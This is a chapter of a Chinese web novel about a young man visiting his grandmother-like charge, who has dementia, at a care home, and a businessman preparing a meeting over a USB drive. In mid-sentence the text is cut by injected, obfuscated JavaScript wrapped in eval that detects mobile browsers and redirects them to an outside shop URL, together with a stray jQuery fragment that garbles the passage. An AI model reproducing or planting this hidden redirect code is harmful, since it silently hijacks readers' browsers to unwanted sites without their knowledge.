上午一大早，纪灵打车抵达颐康养老院。
昨夜又下过一阵雨，院子里的石板路还泛着潮气。花坛边堆着几片被风打落的银杏叶，护理员正推着几位老人沿长廊晒太阳。
纪灵右肩不能受力，只背了个轻便的单肩包斜挂在左侧。宽松的休闲外套披在肩上，隐约还能看见里面固定伤口的绷带。
他先去了楼上的房间，里面没人。
护理员告诉他，宋奶奶今天精神不错，吃完早饭便去了活动室，正和院友们玩牌。纪灵找过去时，牌桌已经围得满满当当。
宋奶奶坐在靠窗的位置，鼻梁上架着老花镜，手里捏着一把扑克牌。她穿着昨天照片里那件蓝灰色针织衫，花白的头发梳得整整齐齐，面前还放着一只剥到一半的橘子。
几名老人打得正投入，谁也没注意门口多了个人。纪灵站着看了一轮，等宋奶奶打出一张牌，才拖长声音喊道：
“宋女士！”
宋奶奶抬头看过来。纪灵立刻笑开，挥了挥没有受伤的左手。
“是我呀宋女士！你的乖孙来看你啦！”
牌桌安静了一瞬。宋奶奶透过老花镜将他从头看到脚，神情严肃。
“你才不是我孙子！”
她说完仍嫌不够，转头向身边几名院友解释：
“这不是我孙子，他乱叫的。”
旁边的老太太忍着笑：“又开始了，你孙子来看你还不高兴？”
“他真不是……”宋奶奶皱起眉，“我孙子爱穿西装的，我还能不认识？”
纪灵已经自来熟地拉来一张椅子，在她旁边坐下。
“奶奶今天状态不错，一眼就看出我换了衣服。”
“谁是你奶奶？”
“您啊。”
“我才不是。”
“知道了，奶奶。”
宋奶奶被他堵得一脸嫌弃。周围几个人权当她又犯糊涂了，忍笑忍得肩膀直抖。纪灵把带来的水果和点心交给护理员，又往牌桌上看了一眼。
“打到哪了？需不需要乖孙替你大杀四方？”
“不要。”宋奶奶把牌往胸前一收，“你会偷看。”
“这话说的，我是那种人吗？”
“像。”
牌桌旁终于有人笑出了声。
纪灵脸皮极厚，完全不受影响。他右肩不方便，便用左手帮忙收牌洗牌。动作不如惯用手利落，几张牌从指间滑出来，散在桌面上。宋奶奶看得直摇头。
“连牌都洗不好，还冒充我孙子。”
“大意了，发挥失常。”
宋奶奶这才注意到他右侧肩膀不太自然。她隔着衣服看了两眼，只把散开的牌一张张拢回来，自己重新洗。
“笨手笨脚的。”
“奶奶教训得对。”
“别叫奶奶。”
“好的，奶奶。”
一上午，宋奶奶至少向不同的人解释了七八次，这人不是她孙子。纪灵也至少叫了几十声奶奶。院友们从起初忍笑，到后来完全习惯。有人甚至顺着纪灵的话，让宋奶奶别总嫌弃乖孙。宋奶奶据理力争，反复强调自己没有糊涂。
她确实没有完全糊涂。
牌桌上的规则记得清楚，谁少出了一张、谁悄悄换过牌，她都能当场抓住。可一局结束，再重新发牌时，她又会忘记纪灵是什么时候来的，也会重新问一遍他是谁。
纪灵每次都答得一样。
“你乖孙。”
然后再挨一句：
“胡说八道！”
临近中午，护理员来提醒吃饭。宋奶奶赢了牌心情不错，将面前几颗没拆封的水果糖收进口袋，起身时却忘了自己的拐杖放在哪里。纪灵从窗边替她拿过来。她接过拐杖，没有道谢，又看了眼他的右肩。
“你这是怎么啦？”
“老板那边出了点小状况。”
“你替老板做什么？”
“贴身助理。”
宋奶奶明显不信。纪灵补充：“主要负责保护老板，顺便吃他家的饭。”
“单纯的算算账多好，去搞七搞八的惹麻烦。”
宋奶奶哼了一声，拄着拐杖往餐厅走。走出几步，又回头确认纪灵有没有跟上。
午饭以后，医生将纪灵请去办公室。桌上放着前段时间重新做的评估以及一份尚未最终确认的治疗方案。前半部分是检查结果，后面则列着用药前筛查、输注频率和后续监测。
医生将能达到的效果说在前面。针对阿尔茨海默病的新型进口药并不能让已经丢失的记忆重新回来。它作用于病程中的某一类异常蛋白，适合一部分尚处于早期阶段的患者，能够争取的只是让认知继续下降的速度慢一些。
不是每个人都适合，也没有人能保证效果。
纪灵听完，问了句能慢多少。
“个体差异很大。”医生说，“有人变化明显，有人只能争取一点时间。”
一点时间。
纪灵低头看向方案。
之前在夜里会犯迷糊独自乱走，现在也能坐在桌上抓别人出错的牌。她记不得半小时前见过自己，却又能记得孙子真正的模样不是眼前这张脸。
就像一盏接触不良的灯，偶尔亮着，偶尔熄灭。
“不能让她好起来，是吗。”纪灵说。
医生停了一下，点头。
“目前不能。”
纪灵又翻了一页。
一阶段治疗以半年计，进口药、输注和必要监测加在一起，预算约三十万。后续是否继续，要根据耐受情况与评估结果决定。
他在那个数字上看了片刻，将方案重新合上。
“筛查先做。”
“费用方面……”
“我准备好了。”
纪灵说得很平静。“该怎么安排就怎么办吧。”
从医生办公室出来时，宋奶奶没有午睡，正在花园的长椅上等他。她嘴上不承认，却在身边替纪灵留了一个位置。纪灵刚坐下，她便将午饭后分到的香蕉塞给他。
“吃。”
“奶奶疼我。”
“是我吃不完。”
“那也是疼我。”
宋奶奶懒得跟他争，转头去看花坛里的鸟。
纪灵陪她在院子里坐了很久。老人一会儿嫌日光晃眼，一会儿又说今天没有太阳。她讲起年轻时住过的一条老街，讲到一半便忘了前面说过什么，停下来想了很久。
纪灵没有提醒，只等她重新找到一个开头。同一件事，她说了三遍，纪灵便听了三遍。
下午风大起来，护理员担心老人着凉。纪灵便扶着宋奶奶回房间。房门关上后，外面的声音淡了不少。
宋奶奶坐在床边，低头整理那几颗从牌桌上赢来的水果糖。她数完一遍，装进口袋，过了一会儿又重新拿出来数。纪灵替她倒了杯温水，将药盒放到手边。
“今天战绩辉煌啊，赢了这么多。”
“本来还能多赢两颗。”她说，“有人一直在旁边讲话，吵得我算错牌。”
“谁这么没素质？打扰我奶奶。”
宋奶奶瞪他，纪灵笑得十分皮。她喝了两口水，目光又落在他的右肩上。
“伤得重不重呀？”
“皮外伤。”
“小鬼，骗人！”
“真不重，老板还给我放了一天带薪假。”
“老板对你这么好？”
“包的，钱多、管吃住，受伤也报销。”
宋奶奶依然不太满意。
“给多少钱身体也不能乱来。”
“知道。”
“你又不是我孙子，我才懒得管你。”
“好好好。”纪灵替她将被角压平，“您主要是看我长得顺眼。”
“不要脸。”
宋奶奶板着脸看了他一会儿，自己先没忍住，嘴角动了动。纪灵像是取得了重大胜利。
“笑了吧？”
“没有。”
“我看见了，乖孙年纪轻轻，眼神好着呢。”
宋奶奶又被逗得想笑，赶紧低头去摆弄药盒。过了一会儿，她忽然问：
“小天什么时候回来？”
纪灵脸上的笑意没有消失，只是安静了一瞬，没有答话。
“他总说忙。”
“年轻人嘛，要赚钱。”
“赚那么多钱做什么？”
纪灵想了想。
“给奶奶花。”
宋奶奶皱着眉，像是觉得哪里不对。
“你认识小天？”
“我就是啊。”
宋奶奶像没听到，自顾自地说：
“你、你告诉他，让他照顾好自己。别总在外面乱跑，也别跟人打架。”
“好。”
“打小就不听话。”
纪灵嗯嗯的回应。宋奶奶重新抬头看他，又变回那副严肃的表情。
“你真的不是我孙子。”
纪灵还在点头。
“嗯嗯。”
他没有解释，也没有继续胡搅蛮缠，只把水杯往老人手边推近了一些。
窗外的光慢慢移过床尾。纪灵一直陪到护理员来提醒晚饭时间，才起身准备离开。他把外套重新披在肩上，伸手去拉房门。还没走出去，身后忽然传来宋奶奶的声音。
“小天呐……”纪灵握在门把上的手停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929309|213579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住。
老人坐在床边望着他。那双眼睛不像上午那样警惕，也没有先前被他逗出来的恼意。她在看纪灵，又像透过眼前这个人，看另一个人。
“你要注意身体呀……”
宋奶奶声音很轻，话说得断断续续。
“奶奶，奶奶只有你了。”
房间里安静下来。
纪灵脑海深处，也有一道声音像隔着很远的时空响起。
——我呀，只有我的奶奶了。
他回过身，与老人对视了片刻，最后只点了点头。
“知道了，奶奶。”
房门在身后轻轻合上。
纪灵没有叫车。
他沿着养老院外的林荫道慢慢走了一段。天空中隐约飘起了细雨，风吹得路边树叶沙沙作响。肩上的伤随着步子一下一下发闷，只是没有昨晚那么痛了。
走到街角时，他忽然很想抽烟。外套口袋里还真摸出半包，不知道什么时候留下的。他叼了一支，又将几个口袋翻了一遍。
没有火机。
他站在路边静了静。
自己现在的老板不抽烟，也很少碰酒。徐惟看起来更不像随身带火的人。跟着这样一群生活健康的同事，连借个火都找不到对象。
纪灵最终将烟拿下来，重新塞回烟盒。
算了。
手机正在这时响起，来电显示是徐惟。他按下接听键。
“喂——”
晨星集团顶层，黎廷接起了电话。
傍晚落了一场秋雨，隔着尚未干透的落地窗，整座城市像被罩进了一层冷灰色的玻璃。办公室的桌边只亮着一盏阅读灯，光线落下来，将那枚从会所带回来的黑色U盘切出一道清晰的轮廓。
大洋彼岸还是清晨，对方的声音里带着一点熬夜后的沙哑。
“最后两组信息复核过了。”
黎廷靠在椅背上，镜片后的目光始终停在桌面。
“旁证呢？”
“能对上。”
电话那头顿了顿，又道：“对面自己去查，也只会得到同样的结果。”
“发给我。”
黎廷没有再问。信息这种东西从来不是越多越有价值。他需要的，只是让这份东西在合适的时间，出现在最有意愿利用它的人面前。
“你真准备亲自去？” 对面问。
“嗯。”
“你才回国没多久，桌上的规矩未必管得到桌下。要不再等等，我安排人过来。”
“不必，”
黎廷的指尖在U盘外壳上轻轻点了一下，神色没有变化。
“我带‘武器’的。”
电话那边笑了一下，没再继续多问。只让他留意刚刚发来的完整核验结果，随即结束了通话。
屏幕暗下去，办公室重新安静下来。黎廷打开邮件，只看了最后的结论页。几条相互独立的信息被收束在一起，已经足够支撑接下来那场会面。
敲门声恰在这时响起。
徐惟推门进来，手机屏幕刚刚熄灭。他没有提方才跟纪灵那通电话，只将另一部工作手机放到黎廷面前。
“那边回话了。”
消息是凌晨发来的。对方同意见面了。徐惟向下划了一页，预定的时间给了两个，都在下周，前后相隔三天。黎廷没有立即选择，而是点开一旁的工作日程。
其中一项纪灵的复诊安排夹在两个日期之间。他的目光在那一行停了片刻，随即选中了后面那个日期。
“按这个回。”
徐惟确认完他选中的时间，只将消息发了过去。几分钟后，对面给出肯定答复，时间就此敲定。收起手机，徐惟又将一页简短的地点资料推到桌前。上面只有一串定位和一张从远处拍摄的建筑照片。
“这是地点。”
黎廷眼神扫过那张照片。
见面地点的安排，本身就是对方给出的一道试探。交易桌上谈的是筹码，桌下掂量的其实是谁更有资格开价。
黎廷没有提出异议。他将资料翻到最后一页，顿了一会，随后合上。
“车和随行人员，我提前安排。刚也跟秦助理说了。”徐惟说。
黎廷的手指压在文件封面，没有立即松开。
“不用太多人。”
天色彻底暗了下来。窗外灯火陆续亮起，映进玻璃，也映在桌边那枚不起眼的U盘上。
黎廷伸手将它拿起来。
这东西曾在另一个人的口袋里短暂停留。那时纪灵还穿着一件与周围格格不入的黑色连帽外套，站在一片混乱里，成为那个恰好被他选中的陌生人。
黎廷垂下眼，将U盘收进掌心。